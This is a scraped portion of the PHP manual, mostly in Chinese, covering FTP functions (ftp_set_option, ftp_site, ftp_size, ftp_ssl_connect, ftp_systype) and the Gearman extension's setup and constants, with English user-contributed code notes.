johan dot kerreneur at gmail dot com 26-Apr-2020 03:34
ftp_rmdir() delete only empty folders...

if you want to delete the entire contents of a folder try its.

Exemple...

<?php
$ftp_server = "YourIP";
$ftp_user_name = "YourUsername";
$ftp_user_pass = "YourPassword";

// Connection
echo "Connecting to $ftp_server";
$conn_id = ftp_connect($ftp_server);
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

//Enable PASV ( Note: must be done after ftp_login() )
ftp_pasv($conn_id, true);

// check connection
if((!$conn_id) || (!$login_result)){
    die("FTP connection has failed !");
}
echo "<br/>Login Ok.";

// Function to delete an entire folder
function ftp_rrmdir($conn_id, $directory){
    $lists = ftp_mlsd($conn_id, $directory);
    unset($lists[0]);
    unset($lists[1]);

    foreach($lists as $list){
        $full = $directory . '/' . $list['name'];

        if($list['type'] == 'dir'){
            ftp_rrmdir($conn_id, $full);
        }else{
            ftp_delete($conn_id, $full);
        }
    }

    ftp_rmdir($conn_id, $directory);
    return true;
}

//Now run ftp_rrmdir()
if(ftp_rrmdir($conn_id, 'YOUR/PATH/')){
    echo = "Folder deleted !";
}

//close
ftp_close($conn_id);

?>
karl AT karlgroves.com 12-Aug-2011 05:18
Please note that this function, like rmdir, requires that the directory be empty.


设置各种 FTP 运行时选项

  • ? ftp_rmdir
  • ftp_site ?
  • PHP Manual
  • FTP 函数
  • 设置各种 FTP 运行时选项

ftp_set_option

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ftp_set_option — 设置各种 FTP 运行时选项

说明

ftp_set_option(FTP\Connection $ftp, int $option, int|bool $value): bool

本函数控制指定 FTP 连接的各种运行时选项。

参数

ftp

FTP\Connection 实例。

option

目前支持以下选项：

所支持的 FTP 运行时选项
FTP_TIMEOUT_SEC | 改变网络传输的超时时间。参数 value 必须为整数且大于 0。默认的超时时间为 90 秒。
FTP_AUTOSEEK | 当此选项打开时，带 resumepos 或 startpos 参数的GET 或 PUT 请求 将先检索到文件中指定的位置。此选项默认是打开的。
FTP_USEPASVADDRESS | 当此选项禁用时，PHP 会忽略掉 FTP 服务器通过 PASV 命令返回的 IP 地址，直接使用在 ftp_connect() 中指定的地址。value 参数必须是布尔型。

value

本参数取决于要修改哪个 option。

返回值

如果选项能够被设置，返回 true，否则返回 false。如果参数 option 不被支持或者给定的参数 value 的值与参数 option 不匹配，则会同时返回一条警告信息。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_set_option() 示例

<?php
// 设置网络传输超时时间为 10 秒
ftp_set_option($ftp, FTP_TIMEOUT_SEC, 10);
?>

参见

  • ftp_get_option() - 返回当前 FTP 连接的各种不同的选项设置

User Contributed Notes

There are no user contributed notes for this page.


向服务器发送 SITE 命令

  • ? ftp_set_option
  • ftp_size ?
  • PHP Manual
  • FTP 函数
  • 向服务器发送 SITE 命令

ftp_site

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_site — 向服务器发送 SITE 命令

说明

ftp_site(FTP\Connection $ftp, string $command): bool

ftp_site() 函数向 FTP 服务器发送指定的命令。

SITE 命令是非标准化的，不同的服务器不尽相同。主要用于处理文件权限以及组成员等事情。

参数

ftp

FTP\Connection 实例。

command

SITE 命令。注意本参数没有经过处理，在文件名有存在空格或其它特殊字符的情况下可能会有问题。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 向 FTP 服务器发送 SITE 命令

<?php
// 连接 FTP 服务器
$ftp = ftp_connect('ftp.example.com');
if (!$ftp) die('无法连接到 ftp.example.com');

// 使用用户 user 和密码 pass 登录服务器
if (!ftp_login($ftp, 'user', 'pass')) die('登录失败到 ftp.example.com');

// Issue: "SITE CHMOD 0600 /home/user/privatefile" command to ftp server
if (ftp_site($ftp, 'CHMOD 0600 /home/user/privatefile')) {
echo "命令执行成功。\n";
} else {
die('命令执行失败。');
}
?>

参见

  • ftp_raw() - 向 FTP 服务器发送命令

User Contributed Notes

www.bossftp.com 05-Nov-2008 06:30
To send a SITE command and get the result, you can try this:

<?php
function ftpsite($conn, $cmd) {
    return ftp_raw($conn, "SITE $cmd");
}
?>
Marc 05-Aug-2003 07:02
Use ftp_raw() (PHP 5+) instead of ftp_site() if you need the results of the remote command.
webmaster at beezm dot net 17-Jun-2003 11:52
I wrote some functions for an ftp server for windows called GuildFTPd.

Here they are, they are pretty much so self explanitory:
<?
function guildftpd_adduser($ftp_stream,$group,$username,$password){
    ftp_site($ftp_stream,"SITE ADDUSER $group $username $password");
}
function guildftpd_addgroup($ftp_stream,$groupname){
    ftp_site($ftp_stream,"SITE ADDGROUP $groupname");
}
function guildftpd_deluser($ftp_stream,$username){
    ftp_site($ftp_stream,"SITE DELUSER $username");
}
function guildftpd_addpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE ADDPATH $username $path $vpath");
}
function guildftpd_delpath($ftp_stream,$username,$path,$vpath){
    ftp_site($ftp_stream,"SITE DELPATH $username $path $vpath");
}
function guildftpd_anon($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON ALLOW");
}
function guildftpd_anond($ftp_stream){
    ftp_site($ftp_stream,"SITE ANON DENY");
}
function guildftpd_chpass($ftp_stream,$user,$pass){
    ftp_site($ftp_stream,"SITE CHPASS $user $pass");
}
function guildftpd_disable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE DISABLE $user");
}
function guildftpd_enable($ftp_stream,$user){
    ftp_site($ftp_stream,"SITE ENABLE $user");
}
function guildftpd_who($ftp_stream){
    $who = ftp_site($ftp_stream,"SITE WHO");
}
function guildftpd_kick($ftp_stream,$user);
    ftp_site($ftp_stream,"SITE KICK $user");
}
function guildftpd_msg($ftp_stream,$text);
    ftp_site($ftp_stream,"SITE MSG $text");
}
?>
to at mail dot isec dot pt 21-Nov-2002 05:20
Hya,
  Recently I had to work with FTP over PHP, since I didn't found any help about this topic I decided to post this here. If you need to chmod one file, I tested this on the ftp server using a ftp client and after I knew that the ftp server supported chmod I used the following commands:
$upload = ftp_put($conn_id, "/home/to/public_html/index.php", $source_file, FTP_ASCII);
$ch=@ftp_site($conn_id,"chmod 755 /home/to/public_html/index.php");

Hope this help!

T?
daemorhedron 17-Nov-2002 05:32
I'd like to follow up with Ivan's observation there. Unless I am missing the obvious, which is entirely possible of course, this command is quite useless unless it returns the data from the SITE <foo> request.

Besides the obvious SITE HELP command, another one that would require catching the feedback would be the SITE LOCATE | SITE SEARCH commands. I completely recognize that SITE <foo> commands are indeed insanely proprietary, but the fact still remains that changing this to return the results, or at least having the option to do so (such as exec() and the like) would be vastly preferred to the current method of returning true/false values.

Thanks.
29-Jun-2001 09:36
site commands are extra-functionality provided by some ftp servers, and depend on the server :
e.g. trying "ftp> site help" (with an interactive ftp client) on a proftp server would give :

214-The following SITE extensions are recognized:
 RATIO -- show all ratios in effect
 The following SITE commands are recognized (* =>'s unimplemented).
 HELP    CHMOD
214 Direct comments to admin@ftp.blahblah.fr

while with wu-ftpd on can typically get :

214-The following SITE commands are recognized (* =>'s unimplemented).
   UMASK           GROUP           INDEX           GROUPS
   IDLE            GPASS           EXEC            CHECKMETHOD
   CHMOD           NEWER           ALIAS           CHECKSUM
   HELP            MINFO           CDPATH
214 blabla

Unfortunately, ftp_site only returns true or false. It would be nice to have a way to get the server's reply in full : ftp_site('help') return 1, which pretty much useless.

Hope that helps,

Ivan


返回指定文件的大小

  • ? ftp_site
  • ftp_ssl_connect ?
  • PHP Manual
  • FTP 函数
  • 返回指定文件的大小

ftp_size

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_size — 返回指定文件的大小

说明

ftp_size(FTP\Connection $ftp, string $filename): int

ftp_size() 函数返回指定文件的大小（以字节为单位）。

Note:

不是所有服务器都支持该功能。

参数

ftp

FTP\Connection 实例。

filename

远程文件。

返回值

成功时返回文件大小，错误返回 -1。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_size() 示例

<?php

$file = 'somefile.txt';

// 简单基本连接
$ftp = ftp_connect($ftp_server);

// 使用用户名和密码进行登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

// 获取 $file 文件大小
$res = ftp_size($ftp, $file);

if ($res != -1) {
echo "size of $file is $res bytes";
} else {
echo "couldn't get the size";
}

// 关闭连接
ftp_close($ftp);

?>

参见

  • ftp_rawlist() - 返回指定目录下文件的详细列表

User Contributed Notes

gerben at gerbs dot net 22-Jun-2012 07:25
To overcome the 2 GB limitation, the ftp_raw solution below is probably the nicest. You can also perform this command using regular FTP commands:

<?php
$response =  ftp_raw($ftpConnection, "SIZE $filename");
$filesize = floatval(str_replace('213 ', '', $response[0]));
?>

[However, this] is insufficient for use on directories. As per RFC 3659 (http://tools.ietf.org/html/rfc3659#section-4.2), servers should return error 550 (File not found) if the command is issued on something else than a file, or if some other error occurred. For example, Filezilla indeed returns this string when using the ftp_raw command on a directory:

array(1) {
  [0]=>
  string(18) "550 File not found"
}

RFC 959 (http://tools.ietf.org/html/rfc959) dictates that the returned string always consists of exactly 3 digits, followed by 1 space, followed by some text. (Multi-line text is allowed, but I am ignoring that.) So it is probably better to split the string with substr, or even a regular expression.

<?php
$response = ftp_raw($ftp, "SIZE $filename");
$responseCode = substr($response[0], 0, 3);
$responseMessage = substr($response[0], 4);
?>

Or with a regular expression:

<?php
$response = ftp_raw($ftp, "SIZE $filename");
if (preg_match("/^(\\d{3}) (.*)$/", $response[0], $matches) == 0)
    throw new Exception("Unable to parse FTP reply: ".$response[0]);
list($response, $responseCode, $responseMessage) = $matches;
?>

You could then decide to assume that response code '550' means that it's a directory. I guess that's just as 'dangerous' as assuming that ftp_size -1 means that it's a directory.
ibeono at gmail dot com 28-Jul-2011 04:19
If you experience troubles with size of large file then you can use ftp_rawlist function and parse it result
bluerain [at] telenet [dot] be 10-Jul-2009 01:41
To overcome the 2GB file size limit, you can open your own socket to get the file size of a large file. Quick and dirty script:

<?php
$socket=fsockopen($hostName, 21);
$t=fgets($socket, 128);
fwrite($socket, "USER $myLogin\r\n");
$t=fgets($socket, 128);
fwrite($socket, "PASS $myPass\r\n");
$t=fgets($socket, 128);
fwrite($socket, "SIZE $fileName\r\n");
$t=fgets($socket, 128);
$fileSize=floatval(str_replace("213 ","",$t));
echo $fileSize;
fwrite($socket, "QUIT\r\n");
fclose($socket);
?>
miccots at gmail dot com 30-Oct-2007 01:55
2 adams[AT]techweavers[DOT]net:
To get a size of large file (f. ex.: 3.2 Gb) you have to format the result returned by ftp_size():

$size = sprintf ("%u", ftp_size($connection, $file_name));

So you can get the real size of big files. But this method is not good for checking is this a dir (when ftp_size() returns -1).
C_Muller 21-Jul-2007 03:42
For checking if a certain folder exists try using ftp_nlist() function to get a directory list in array. By using in_array('foldername') you can find out if it is there or not.
chuck at t8design dot com 23-May-2006 09:54
note that project_t4 at hotmail dot com's example above doesn't work in general, though it works on his Win2K/Apache server; as far as I can tell there is no way to check over ftp whether a directory exists.  This function's behavior given a directory name seems to be at least somewhat dependent on your OS, web server, or ftp server, I don't know which.
adams[AT]techweavers[DOT]net 21-Jun-2005 02:30
Well this function is nice but if you have files larger then 2.1Gb or 2.1 Billion Bytes you cannot get its size.
28-Sep-2004 06:10
To get a dirsize recursive you can use this simple function:

<?php # copyright by fackelkind | codeMaster
    function getRecDirSize ($connection, $dir){
        $temp = ftp_rawlist ($connection, "-alR $dir");
        foreach ($temp as $file){
            if (ereg ("([-d][rwxst-]+).* ([0-9]) ([a-zA-Z0-9]+).* ([a-zA-Z0-9]+).* ([0-9]*) ([a-zA-Z]+[0-9: ]*[0-9]) ([0-9]{2}:[0-9]{2}) (.+)", $file, $regs)){
                $isdir = (substr ($regs[1],0,1) == "d");
                if (!$isdir)
                    $size += $regs[5];
            }
        }
        return $size;
    }
    $dirSize = getRecDirSize ($conID, "/");
?>
project_t4 at hotmail dot com 18-Mar-2004 11:03
Just to let people out there know, on my windows 2000 server running Apache and php i was returned 0 not -1 for directories.

foreach ($dir_list as $item)
    {
      if(ftp_size($conn_id, $item) == "0")
      {
      echo "<br>Directory:: ".$item;
      } else {
      echo "<br>File:: ".$item;
      }
    }

This outputs a list of the remote directory and indicates which items are directories and which are files.
nicke_ at at_h9k dot com 03-Oct-2003 06:48
This will return the filesize on remote host and the size if you download it in FTP_BINARY mode. If you are using FTP_ASCII in ftp_get() the size can be changed.
victor59 at yahoo dot com dot hk 23-Dec-2002 01:44
$file= 'filename with space.txt';
$size = ftp_size($this->ftp, urldecode($file) );

this one can correctly return the size
otherwize, it always return -1


打开安全 SSL-FTP 连接

  • ? ftp_size
  • ftp_systype ?
  • PHP Manual
  • FTP 函数
  • 打开安全 SSL-FTP 连接

ftp_ssl_connect

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ftp_ssl_connect — 打开安全 SSL-FTP 连接

说明

ftp_ssl_connect(string $hostname, int $port = 21, int $timeout = 90): FTP\Connection|false

ftp_ssl_connect() 打开到指定 hostname 的 显式
SSL-FTP 连接。即使服务器没有为 SSL-FTP 配置，或者服务器的证书无效，ftp_ssl_connect()
也会成功。只有调用 ftp_login() 时，客户端才会发送对应的 AUTH FTP
命令，因此在上述情况下 ftp_login() 会失败。

Note: 为何本函数有可能不存在？

在 PHP 7.0 之前，只有 ftp 模块和 OpenSSL 模块都静态编译到 PHP 时，ftp_ssl_connect() 才可用；也就是说，在 Windows 平台上，此函数在官方 PHP 编译中未定义。如果需要在 Windows 平台使用本函数，需要自行编译 PHP 二进制文件。

Note:

ftp_ssl_connect() 不是用来连接 sFTP 服务的。 要在 PHP 中使用 sFTP，请参见 ssh2_sftp()。

参数

hostname

FTP 服务器地址。 此参数末尾不可以有斜线，开头也不可以有 ftp://。

port

要连接的端口。如果省略此参数或设置为 0，将使用 FTP 默认端口 21。

timeout

此参数设置所有后续网络操作的超时时长。 如果省略，默认值为 90 秒。 可以使用 ftp_set_option() 和 ftp_get_option() 函数随时读取或设置超时时长。

返回值

成功时返回 FTP\Connection 实例， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 现在返回 FTP\Connection 实例；之前返回 resource。

示例

Example #1 ftp_ssl_connect() 函数示例

<?php

// 建立基础 SSL 连接
$ftp = ftp_ssl_connect($ftp_server);

// 使用用户名和密码登录
$login_result = ftp_login($ftp, $ftp_user_name, $ftp_user_pass);

if (!$login_result) {
// 在这种情况下，PHP 会发生 E_WARNING 级别的告警消息
die("can't login");
}

echo ftp_pwd($ftp); // /

// 关闭 ssl 连接
ftp_close($ftp);
?>

参见

  • ftp_connect() - 建立新 FTP 连接

User Contributed Notes

There are no user contributed notes for this page.


返回远程 FTP 服务器的操作系统类型

  • ? ftp_ssl_connect
  • FTP\Connection ?
  • PHP Manual
  • FTP 函数
  • 返回远程 FTP 服务器的操作系统类型

ftp_systype

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_systype — 返回远程 FTP 服务器的操作系统类型

说明

ftp_systype(FTP\Connection $ftp): string|false

返回远程 FTP 服务器的操作系统类型。

参数

ftp

FTP\Connection 实例。

返回值

返回远程服务器类型，发生错误则返回 false。

更新日志

版本 | 说明
8.1.0 | 现在 ftp 参数接受 FTP\Connection 实例，之前接受 resource。

示例

Example #1 ftp_systype() 示例

<?php
// 建立 ftp 连接
$ftp = ftp_connect('ftp.example.com');
ftp_login($ftp, 'user', 'password');

// 获取操作系统类型
if ($type = ftp_systype($ftp)) {
echo "Example.com 的操作系统为 $type\n";
} else {
echo "无法获取操作系统类型";
}
?>

以上示例的输出类似于：

Example.com 的操作系统为 UNIX

User Contributed Notes

Buckwheat469 at hotmail dot com 26-Jul-2006 09:41
ftp_systype can be a good way of checking the state of a connection, since PHP doesn't have a better system to check the state of an ftp connection (is_connected would be nice).

if (!($type = ftp_systype($conn_id))) {
    echo "FTP connection has failed! Trying again.\n";
    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user, $ftp_pass);
}


The FTP\Connection class

(PHP 8 >= 8.1.0)

简介

A fully opaque class which replaces a ftp resource as of PHP 8.1.0.

类摘要

final class FTP\Connection {
}

User Contributed Notes

There are no user contributed notes for this page.


Gearman

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • Basic usage
    • Basic Gearman client and worker, background
    • Basic Gearman client and worker, submitting tasks
  • GearmanClient — The GearmanClient class
    • GearmanClient::addOptions — Add client options
    • GearmanClient::addServer — Add a job server to the client
    • GearmanClient::addServers — Add a list of job servers to the client
    • GearmanClient::addTask — Add a task to be run in parallel
    • GearmanClient::addTaskBackground — Add a background task to be run in parallel
    • GearmanClient::addTaskHigh — Add a high priority task to run in parallel
    • GearmanClient::addTaskHighBackground — Add a high priority background task to be run in parallel
    • GearmanClient::addTaskLow — Add a low priority task to run in parallel
    • GearmanClient::addTaskLowBackground — Add a low priority background task to be run in parallel
    • GearmanClient::addTaskStatus — Add a task to get status
    • GearmanClient::clearCallbacks — Clear all task callback functions
    • GearmanClient::clone — Create a copy of a GearmanClient object
    • GearmanClient::__construct — Create a GearmanClient instance
    • GearmanClient::context — Get the application context
    • GearmanClient::data — Get the application data (deprecated)
    • GearmanClient::do — Run a single task and return a result [deprecated]
    • GearmanClient::doBackground — Run a task in the background
    • GearmanClient::doHigh — Run a single high priority task
    • GearmanClient::doHighBackground — Run a high priority task in the background
    • GearmanClient::doJobHandle — Get the job handle for the running task
    • GearmanClient::doLow — Run a single low priority task
    • GearmanClient::doLowBackground — Run a low priority task in the background
    • GearmanClient::doNormal — Run a single task and return a result
    • GearmanClient::doStatus — Get the status for the running task
    • GearmanClient::echo — Send data to all job servers to see if they echo it back [deprecated]
    • GearmanClient::error — Returns an error string for the last error encountered
    • GearmanClient::getErrno — Get an errno value
    • GearmanClient::jobStatus — Get the status of a background job
    • GearmanClient::ping — Send data to all job servers to see if they echo it back
    • GearmanClient::removeOptions — Remove client options
    • GearmanClient::returnCode — Get the last Gearman return code
    • GearmanClient::runTasks — Run a list of tasks in parallel
    • GearmanClient::setClientCallback — Callback function when there is a data packet for a task (deprecated)
    • GearmanClient::setCompleteCallback — Set a function to be called on task completion
    • GearmanClient::setContext — Set application context
    • GearmanClient::setCreatedCallback — Set a callback for when a task is queued
    • GearmanClient::setData — Set application data (deprecated)
    • GearmanClient::setDataCallback — Callback function when there is a data packet for a task
    • GearmanClient::setExceptionCallback — Set a callback for worker exceptions
    • GearmanClient::setFailCallback — Set callback for job failure
    • GearmanClient::setOptions — Set client options
    • GearmanClient::setStatusCallback — Set a callback for collecting task status
    • GearmanClient::setTimeout — Set socket I/O activity timeout
    • GearmanClient::setWarningCallback — Set a callback for worker warnings
    • GearmanClient::setWorkloadCallback — Set a callback for accepting incremental data updates
    • GearmanClient::timeout — Get current socket I/O activity timeout value
    • GearmanClient::wait — Wait for I/O activity on all connections in a client
  • GearmanJob — The GearmanJob class
    • GearmanJob::complete — Send the result and complete status (deprecated)
    • GearmanJob::__construct — Create a GearmanJob instance
    • GearmanJob::data — Send data for a running job (deprecated)
    • GearmanJob::exception — Send exception for running job (deprecated)
    • GearmanJob::fail — Send fail status (deprecated)
    • GearmanJob::functionName — Get function name
    • GearmanJob::handle — Get the job handle
    • GearmanJob::returnCode — Get last return code
    • GearmanJob::sendComplete — Send the result and complete status
    • GearmanJob::sendData — Send data for a running job
    • GearmanJob::sendException — Send exception for running job (exception)
    • GearmanJob::sendFail — Send fail status
    • GearmanJob::sendStatus — Send status
    • GearmanJob::sendWarning — Send a warning
    • GearmanJob::setReturn — Set a return value
    • GearmanJob::status — Send status (deprecated)
    • GearmanJob::unique — Get the unique identifier
    • GearmanJob::warning — Send a warning (deprecated)
    • GearmanJob::workload — Get workload
    • GearmanJob::workloadSize — Get size of work load
  • GearmanTask — The GearmanTask class
    • GearmanTask::__construct — Create a GearmanTask instance
    • GearmanTask::create — Create a task (deprecated)
    • GearmanTask::data — Get data returned for a task
    • GearmanTask::dataSize — Get the size of returned data
    • GearmanTask::function — Get associated function name (deprecated)
    • GearmanTask::functionName — Get associated function name
    • GearmanTask::isKnown — Determine if task is known
    • GearmanTask::isRunning — Test whether the task is currently running
    • GearmanTask::jobHandle — Get the job handle
    • GearmanTask::recvData — Read work or result data into a buffer for a task
    • GearmanTask::returnCode — Get the last return code
    • GearmanTask::sendData — Send data for a task (deprecated)
    • GearmanTask::sendWorkload — Send data for a task
    • GearmanTask::taskDenominator — Get completion percentage denominator
    • GearmanTask::taskNumerator — Get completion percentage numerator
    • GearmanTask::unique — Get the unique identifier for a task
    • GearmanTask::uuid — Get the unique identifier for a task (deprecated)
  • GearmanWorker — The GearmanWorker class
    • GearmanWorker::addFunction — Register and add callback function
    • GearmanWorker::addOptions — Add worker options
    • GearmanWorker::addServer — Add a job server
    • GearmanWorker::addServers — Add job servers
    • GearmanWorker::clone — Create a copy of the worker
    • GearmanWorker::__construct — Create a GearmanWorker instance
    • GearmanWorker::echo — Test job server response
    • GearmanWorker::error — Get the last error encountered
    • GearmanWorker::getErrno — Get errno
    • GearmanWorker::options — Get worker options
    • GearmanWorker::register — Register a function with the job server
    • GearmanWorker::removeOptions — Remove worker options
    • GearmanWorker::returnCode — Get last Gearman return code
    • GearmanWorker::setId — Give the worker an identifier so it can be tracked when asking gearmand for the list of available workers
    • GearmanWorker::setOptions — Set worker options
    • GearmanWorker::setTimeout — Set socket I/O activity timeout
    • GearmanWorker::timeout — Get socket I/O activity timeout
    • GearmanWorker::unregister — Unregister a function name with the job servers
    • GearmanWorker::unregisterAll — Unregister all function names with the job servers
    • GearmanWorker::wait — Wait for activity from one of the job servers
    • GearmanWorker::work — Wait for and perform jobs
  • GearmanException — The GearmanException class

User Contributed Notes

Anonymous 24-Apr-2013 10:54
For my previous comment:

this line:
<?php
$worker->addFunction(new MyClass($test), 'myMethod');
?>

change to:

<?php
$worker->addFunction($taskName, array(new MyClass(), 'myMethod'));
?>
spacewalker2002 at ukr dot net 23-Apr-2013 11:34
You can use this syntax:

<?php
   $worker = new GearmanWorker();
   $worker->addServer();
   $worker->addFunction(new MyClass($test), 'myMethod');

class MyClass
{
   public function __construct($test)
   {
       $this->test = $test;
   }

   public function myMethod(GearmanJob $job)
   {
      // you can access to $this->test;
   }
}
jon dot skarpeteig at gmail dot com 29-Aug-2012 08:26
Unfortunately there's no manager in the pecl extension. If you want to make use of admin features, check out: http://pear.php.net/package/Net_Gearman which implements the administrative protocol in Manager.php as defined in: http://gearman.org/?id=protocol


简介

» Gearman is a generic application framework for farming out work to multiple machines or processes. It allows applications to complete tasks in parallel, to load balance processing, and to call functions between languages. The framework can be used in a variety of applications, from high-availability web sites to the transport of database replication events.

This extension provides classes for writing Gearman clients and workers.

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires the » libgearman, » libevent and » uuid libraries, and a running Gearman server.

User Contributed Notes

sharkyan1982 at gmail dot com 22-Oct-2012 09:16
When deployment on CentOS_5.8_x64 , you need the following:
1. gcc44
2. boost >=1.39
3. libevent
4. php5.3+
5. update ld.so.conf
Before you start the gearman_1.1.1+.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/gearman

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Return values. Always check GearmanClient::error() or GearmanWorker() for a string error, as it may contain more details:

GEARMAN_SUCCESS (int)
Whatever action was taken was successful.
GEARMAN_IO_WAIT (int)
When in non-blocking mode, an event is hit that would have blocked.
GEARMAN_ERRNO (int)
A system error. Check GearmanClient::errno() or GearmanWorker::errno() for the system error code that was returned.
GEARMAN_NO_ACTIVE_FDS (int)
GearmanClient::wait() or GearmanWorker() was called with no connections.
GEARMAN_UNEXPECTED_PACKET (int)
Indicates something going very wrong in gearmand. Applies only to GearmanWorker.
GEARMAN_GETADDRINFO (int)
DNS resolution failed (invalid host, port, etc).
GEARMAN_NO_SERVERS (int)
Did not call GearmanClient::addServer() before submitting jobs or tasks.
GEARMAN_LOST_CONNECTION (int)
Lost a connection during a request.
GEARMAN_MEMORY_ALLOCATION_FAILURE (int)
Memory allocation failed (ran out of memory).
GEARMAN_SERVER_ERROR (int)
Something went wrong in the Gearman server and it could not handle the request gracefully.
GEARMAN_WORK_DATA (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the client with data from a running job. A worker uses this when it needs to send updates, send partial results, or flush data during long running jobs.
GEARMAN_WORK_WARNING (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Updates the client with a warning. The behavior is just like GEARMAN_WORK_DATA, but should be treated as a warning instead of normal response data.
GEARMAN_WORK_STATUS (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Sent to update the status of a long running job. Use GearmanClient::doStatus() to obtain the percentage complete of the task.
GEARMAN_WORK_EXCEPTION (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that a job failed with a given exception.
GEARMAN_WORK_FAIL (int)
Notice return code obtained with GearmanClient::returnCode() when using GearmanClient::do(). Indicates that the job failed.
GEARMAN_COULD_NOT_CONNECT (int)
Failed to connect to servers.
GEARMAN_INVALID_FUNCTION_NAME (int)
Trying to register a function name of NULL or using the callback interface without specifying callbacks.
GEARMAN_INVALID_WORKER_FUNCTION (int)
Trying to register a function with a NULL callback function.
GEARMAN_NO_REGISTERED_FUNCTIONS (int)
When a worker gets a job for a function it did not register.
GEARMAN_NO_JOBS (int)
For a non-blocking worker, when GearmanWorker::work() does not have any active jobs.
GEARMAN_ECHO_DATA_CORRUPTION (int)
After GearmanClient::echo() or GearmanWorker::echo() the data returned doesn't match the data sent.
GEARMAN_NEED_WORKLOAD_FN (int)
When the client opted to stream the workload of a task, but did not specify a workload callback function.
GEARMAN_PAUSE (int)
For the non-blocking client task interface, can be returned from the task callback to "pause" the call and return from GearmanClient::runTasks(). Call GearmanClient::runTasks() again to continue.
GEARMAN_UNKNOWN_STATE (int)
Internal client/worker state error.
GEARMAN_SEND_BUFFER_TOO_SMALL (int)
Internal error: trying to flush more data in one atomic chunk than is possible due to hard-coded buffer sizes.
GEARMAN_TIMEOUT (int)
Hit the timeout limit set by the client/worker.

GearmanClient options:

GEARMAN_CLIENT_GENERATE_UNIQUE (int)
Generate a unique id (UUID) for each task.
GEARMAN_CLIENT_NON_BLOCKING (int)
Run the cient in a non-blocking mode.
GEARMAN_CLIENT_UNBUFFERED_RESULT (int)
Allow the client to read data in chunks rather than have the library buffer the entire data result and pass that back.
GEARMAN_CLIENT_FREE_TASKS (int)
Automatically free task objects once they are complete. This is the default setting in this extension to prevent memory leaks.

GearmanWorker options:

GEARMAN_WORKER_NON_BLOCKING (int)
Run the worker in non-blocking mode.
GEARMAN_WORKER_GRAB_UNIQ (int)
Return the client assigned unique ID in addition to the job handle.

Base Gearman configuration:

GEARMAN_DEFAULT_TCP_HOST (string)
GEARMAN_DEFAULT_TCP_PORT (int)
GEARMAN_DEFAULT_SOCKET_TIMEOUT (int)
GEARMAN_DEFAULT_SOCKET_SEND_SIZE (int)
GEARMAN_DEFAULT_SOCKET_RECV_SIZE (int)
GEARMAN_MAX_ERROR_SIZE (int)
GEARMAN_PACKET_HEADER_SIZE (int)
GEARMAN_JOB_HANDLE_SIZE (int)
GEARMAN_OPTION_SIZE (int)
GEARMAN_UNIQUE_SIZE (int)
GEARMAN_MAX_COMMAND_ARGS (int)
GEARMAN_ARGS_BUFFER_SIZE (int)
GEARMAN_SEND_BUFFER_SIZE (int)
GEARMAN_RECV_BUFFER_SIZE (int)
GEARMAN_WORKER_WAIT_TIMEOUT (int)

User Contributed Notes

Anonymous 10-Aug-2022 03:36
There is an GEARMAN_WORKER_GRAB_JOB_IN_USE constant that allows you to retry a job that has been exited by same or another worker (exited unsuccessfully width code <> 0)
michaelhfranze at gmail dot com 07-May-2015 10:26
If you are getting

Error 26  GEARMAN_COULD_NOT_CONNECT (integer)

and you are running SELinux then you need to set

setsetbool -P http_can_network_connect = 1
y_inaura at hm-solution dot jp 13-Apr-2015 02:02
retrunCodes is missed from No.33 .
I think , Correct retrunCodes are this.

GEARMAN_SUCCESS = 0
GEARMAN_IO_WAIT = 1
GEARMAN_SHUTDOWN = 2
GEARMAN_SHUTDOWN_GRACEFUL = 3
GEARMAN_ERRNO = 4
GEARMAN_EVENT = 5
GEARMAN_TOO_MANY_ARGS = 6
GEARMAN_NO_ACTIVE_FDS = 7
GEARMAN_INVALID_MAGIC = 8
GEARMAN_INVALID_COMMAND = 9
GEARMAN_INVALID_PACKET = 10
GEARMAN_UNEXPECTED_PACKET = 11
GEARMAN_GETADDRINFO = 12
GEARMAN_NO_SERVERS = 13
GEARMAN_LOST_CONNECTION = 14
GEARMAN_MEMORY_ALLOCATION_FAILURE = 15
GEARMAN_JOB_EXISTS = 16
GEARMAN_JOB_QUEUE_FULL = 17
GEARMAN_SERVER_ERROR = 18
GEARMAN_WORK_ERROR = 19
GEARMAN_WORK_DATA = 20
GEARMAN_WORK_WARNING = 21
GEARMAN_WORK_STATUS = 22
GEARMAN_WORK_EXCEPTION = 23
GEARMAN_WORK_FAIL = 24
GEARMAN_NOT_CONNECTED = 25
GEARMAN_COULD_NOT_CONNECT = 26
GEARMAN_SEND_IN_PROGRESS = 27
GEARMAN_RECV_IN_PROGRESS = 28
GEARMAN_NOT_FLUSHING = 29
GEARMAN_DATA_TOO_LARGE = 30
